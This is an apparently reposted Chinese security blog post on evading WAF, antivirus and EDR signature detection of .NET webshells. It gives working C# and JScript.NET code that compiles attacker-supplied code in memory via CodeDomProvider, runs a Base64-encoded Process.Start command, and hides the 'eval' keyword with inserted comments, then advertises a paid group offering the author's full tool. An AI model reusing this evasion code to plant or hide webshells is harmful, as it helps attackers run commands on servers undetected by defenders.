• 干货 | .NET WebShell 免杀系列之动态编译


    0x01 动态编译

    当下主流的Waf或Windows Defender等终端杀软、EDR大多都是从特征码查杀,在.Net一句话木马中最常见的特征是基于Jscript.Net实现的eval方法和C#Process.Start方法,笔者之前从.NET 内置的CodeDomProvider类下手实现动态编译.NET代码,编译的过程如下图

    0x02 规避C#Process.Start

    动态编译技术提供了最核心的两个类CodeDomProvider 和 CompilerParameters,前者相当于编译器,后者相当于编译器参数,CompileAssemblyFromSource表示程序集的数据源,再将编译产生的结果生成程序集供反射调用。最后通过CreateInstance实例化对象并反射调用自定义类中的方法。

    CodeDomProvider compiler = CodeDomProvider.CreateProvider("C#"); ;     
    CompilerParameters comPara = new CompilerParameters();  
    comPara.ReferencedAssemblies.Add("System.dll"); //添加引用
    comPara.GenerateExecutable = false; //生成exe
    comPara.GenerateInMemory = true; //内存中
    CompilerResults compilerResults = compiler.CompileAssemblyFromSource(comPara, SourceText(txt)); //编译数据的来源
    Assembly objAssembly = compilerResults.CompiledAssembly; //编译成程序集
    object objHelloWorld = objAssembly.CreateInstance("Neteye.NeteyeInput"); //创建对象
    MethodInfo objMi = objHelloWorld?.GetType().GetMethod("OutPut"); //反射调用方法
    var result = objMi?.Invoke(objHelloWorld, null);

    直接将System.Diagnostics.Process.Start("cmd.exe","/c calc");Base64编码为 U3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MuU3RhcnQoImNtZC5leGUiLCIvYyBjYWxjIik7, 运行后可正常执行指令

    0x03 拆解Eval

    将动态编译器指定为Jscript,通过插入无关字符/*@Ivan1ee@*/将eval拆解掉,编译替换后反射执行目标方法。核心代码如下

    private static readonly string _jscriptClassText =
    @"import System;
    class JScriptRun
    {
      public static function RunExp(expression : String) : String
        {
           return e/*@Ivan1ee@*/v/*@Ivan1ee@*/a/*@Ivan1ee@*/l(expression);
         }
    }"
    private static void Initialize()
        {
            CodeDomProvider compiler = CodeDomProvider.CreateProvider("Jscript");
            CompilerParameters parameters = new CompilerParameters();
            parameters.GenerateInMemory = true;
            parameters.ReferencedAssemblies.Add("System.dll");
            CompilerResults results = compiler.CompileAssemblyFromSource(parameters, _jscriptClassText.Replace("/*@Ivan1ee@*/", ""));
            Assembly assembly = results.CompiledAssembly;
            _runType = assembly.GetType("JScriptRun");
            _runInstance = Activator.CreateInstance(_runType);
        }

    0x04 结语

    笔者改用aspx编写此类风险检测程序,同时设计了主机进程、主机信息采集、主机目录文件访问等功能

    文件均已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,经过星球运营团队投票商议决定星球价格优惠活动持续进行,星球价格直接给到星球 [最低起步价¥50] ,每天只需要1块钱不到,就可以让自己从.NET小白成为高手,因为星球里的资料和教程很少在市面上广泛传播,价值完全划算,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。

  • 相关阅读:
    ceph 集群 slow requests are blocked
    k8s集成cephfs(StorageClass方式)
    ceph错误application not enabled on 1 pool(s)解决方法
    安装 harbor v2.3.4
    openstack高可用集群搭建(分布式路由)(train版)
    github项目收集
    devops组件搭配选型
    JS中的getter和setter
    [论文理解] Efficient Inference in Fully Connected CRFs with Gaussian Edge Potentials
    Pytorch 训练停止,输出显示 died with <Signals,SIGKILL.9> 问题定位过程记录
  • 原文地址:https://www.cnblogs.com/Ivan1ee/p/16394544.html
Copyright © 2020-2023  润新知